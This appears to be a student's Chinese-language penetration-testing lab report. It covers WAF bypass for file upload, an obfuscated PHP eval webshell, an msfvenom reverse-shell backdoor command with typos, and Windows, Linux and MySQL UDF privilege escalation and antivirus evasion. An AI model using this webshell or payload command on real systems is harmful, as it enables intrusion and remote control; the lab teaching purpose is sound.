1、WAF绕过文件上传实验。
测试WAF拦截原因:
要绕过WAF,首先得知道WAF是通过什么条件进行拦截的,先上传一个文本文件抓一个包
猜测上传文本可能触发拦截的条件分别是:文件后缀名、文件类型还有文件内容
通过控制变量来进行推导,首先检测文件类型,修改文件类型为脚本文件
上传成功,证明文件类型不是触发拦截的原因
再测试文件内容,将文件内容修改成一句话木马
还是上传成功,说明文件内容也不是,接着测试文件后缀名,文件内容、文件类型不变,将文件名修改成php,
上传失败,则证明该WAF是通过检测文件后缀名进行拦截的
低等级绕过:
双写filename
上传成功
无用文件头绕过:
由于网站对于WAF的时间要求比较严格,故只需要在不破坏数据包内容的情况下,往数据包里插入大量的无用数据绕过WAF的检测时限即可进行绕过
00截断绕过:
将文件名改成info1.php;.jpg
然后来到Hex模块,将文件后缀名里的分号所代表的3b修改为00
上传成功,这是因为后缀名里的.jpg是为了绕过网站前端,而;改成00是使文件传到服务器上时期能被操作系统解析(操作系统底层逻辑是读到00,之后的就不识别了)
中等级绕过:
上传成功
但是想要访问这个脚本文件会被WAF拦截
这是因为WAF对网站返回的数据包里检测到了具有攻击特征的内容,所以被拦截
故我们修改文件内容为免杀一句话木马
<?php
$name=$_GET['a'];
$name=substr($name,0);
eval("echo 123;".$name."echo 456;");
?>
成功上传并利用
2、网络层面后门分析:课堂上演示了用蚁剑进行攻击并监听流量提取攻击特征,请任选渗透测试基础课程中学习的漏洞进行攻击并监听流量提取攻击特征。
此处采用Xray对搭建的dvwa站点的SQL注入模块进行扫描
wireshark查看vmnet8的流量。通过ip.dst ==10.0.0.158 && http进行过滤
随便打开一个数据包查看
发现一个包中出现大量的经过url编码后的sql注入语句,结合发包频率可以得出这个就是xray这款工具的攻击特征
3、Windows提权实战,请使用除ms15-051以外的其他的exp进行攻击提权。
先拿下webshell
再使用MSF制作后门程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.155 lpost=5555 exe -o 5555.exe
将生成的后门程序通过webshell上传到目标服务器
kali开启监听
在webshell虚拟终端中运行后门程序,拿到meterpreter
查看目标机器补丁信息
查看哪些提权exp可用
xiu
随便挑选一个可用的
修改所需要的选项,运行,拿到meterpreter
查看当前用户
、
提权成功
4、Linux提权实战:脏牛提权、SUID提权、Polkit提权实验。
脏牛提权
账号/密码:msfadmin/msfadmin 登录系统
上传dirty.c文件并编译
运行脚本进行提权
切换到firefart用户,提权成功
SUID提权
拿下webshell
此处find命令没有suid权限,故来到docker的root用户对find命令进行添加
这样在执行find命令的同时就可以短暂的获取root用户的权限
Polkit提权
进入容器 查看当前用户
来到CVE-2021-4034目录下
输入./run.sh ,多出来三个文件
输入cat /etc/passwd,发现多出来一个名为test的普通用户
切换到test用户
运行exp,拿到root权限
5、数据库提权:UDF提权实验。
拿下webshell
查看数据库账号密码
数据库开启远程连接
连接后后进行信息收集
将sqlmap自带的两个文件放到一个文件夹下,并运行cmd执行以下命令
得到文件
将该文件上传到刚刚查询到的plugin目录下
创建sys_eval函数,提权
使用该函数进行提权
结果发现不是管理员用户,因为是zebra用户启动的mysql
所以我们可以以administrator用户来启动服务
启动administrator用户
重启MySQL服务
再使用刚刚创建的函数,变成administrator用户了
6、免杀:MSF编码器结合shellcode加载器进行免杀实验。
使用kali生成免杀图片
利用msf开启监听
将msvcr110.dll放到该目录下
将crowsec.jpg和ms.exe放到同一目录,运行ms.exe
拿下meterpreter权限